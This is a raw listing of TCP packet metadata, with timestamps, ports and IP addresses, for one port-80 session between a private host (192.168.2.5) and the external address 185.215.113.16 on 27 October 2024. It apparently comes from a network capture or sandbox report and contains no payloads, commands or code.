Oct 27, 2024 20:15:32.446837902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.446841955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.446888924 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447412968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447479963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447495937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447519064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447628975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447644949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447659016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447671890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447690010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447701931 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447705984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447721004 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447736025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447751045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447758913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447767019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447782040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447793007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447798014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447813988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447813988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447830915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447837114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447849035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447865009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.447870016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.447907925 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.449050903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449080944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449100018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449140072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.449157953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449172974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449188948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.449194908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.449237108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.665347099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.665395021 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.681098938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686587095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686615944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686631918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686646938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686666965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686670065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686681032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686707973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686712027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686723948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686739922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686741114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686753988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686769962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686773062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686785936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686800957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686813116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686817884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686834097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686835051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686860085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686872005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686876059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686892033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686906099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686907053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686923981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686938047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686940908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686954021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686973095 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686980009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.686992884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.686995029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687011003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687026978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687042952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687050104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687057972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687073946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687078953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687088966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687104940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687103033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687138081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687140942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687154055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687170029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687174082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687187910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687202930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687208891 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687220097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687233925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687246084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687266111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687289000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687289000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687304974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687329054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687331915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687365055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687371969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687380075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687396049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687412024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687416077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687437057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687450886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687454939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687475920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687484980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687491894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687506914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687522888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687535048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687539101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687552929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687568903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687581062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687588930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687597036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687612057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687628031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687643051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687647104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687658072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687674046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687684059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687688112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687702894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687706947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687717915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687727928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687733889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687761068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687761068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687777996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687793016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687796116 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687808990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687823057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687839985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687840939 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687855005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687870979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687875986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687886000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687891960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687901020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687916040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687928915 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687931061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687946081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687961102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687972069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.687977076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687992096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.687995911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688007116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688021898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688035965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688051939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688054085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688069105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688080072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688083887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688098907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688117981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688123941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688158989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688247919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688262939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688280106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688288927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688296080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688317060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688323975 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688343048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688359022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688361883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688373089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688396931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688410997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688416004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688426971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688441038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688452959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688457012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688472033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688476086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688489914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688497066 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688513994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688530922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688532114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688545942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688560963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688565969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688575983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688591957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688607931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688622952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688626051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688647032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688651085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688667059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688671112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688682079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688698053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688705921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688711882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688728094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688740015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688745022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688760042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688762903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688774109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688798904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688815117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688815117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688829899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688846111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688847065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688863039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688877106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688885927 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688900948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688915014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688915968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688931942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688939095 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688950062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688965082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688966990 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.688981056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.688997030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689007044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689012051 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689028978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689043045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689052105 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689059019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689074039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689085007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689089060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689110041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689110041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689141989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689328909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689378023 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689481974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689497948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689512968 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689527988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689534903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689543962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689558983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689568996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689574957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689595938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689600945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689623117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689634085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689637899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689655066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689670086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689685106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689690113 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689699888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689714909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689727068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689729929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689744949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689757109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689774036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689779043 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689790010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689804077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689811945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689821005 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689836025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689837933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689851046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689866066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689886093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689886093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689902067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689917088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689919949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689939976 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689941883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689958096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689974070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.689986944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.689989090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690004110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690009117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690020084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690035105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690052032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690052032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690067053 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690083027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690097094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690113068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690114975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690129995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690145969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690161943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690161943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690172911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690215111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690332890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690346003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690361023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690376043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690390110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690392017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690407991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690423965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690429926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690438986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690457106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690473080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690505028 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690520048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690535069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690542936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690561056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690577984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690578938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690593958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690612078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:32.690618992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690634966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:32.690649986 CET	80	49719	185.215.113.16	192.168.2.5
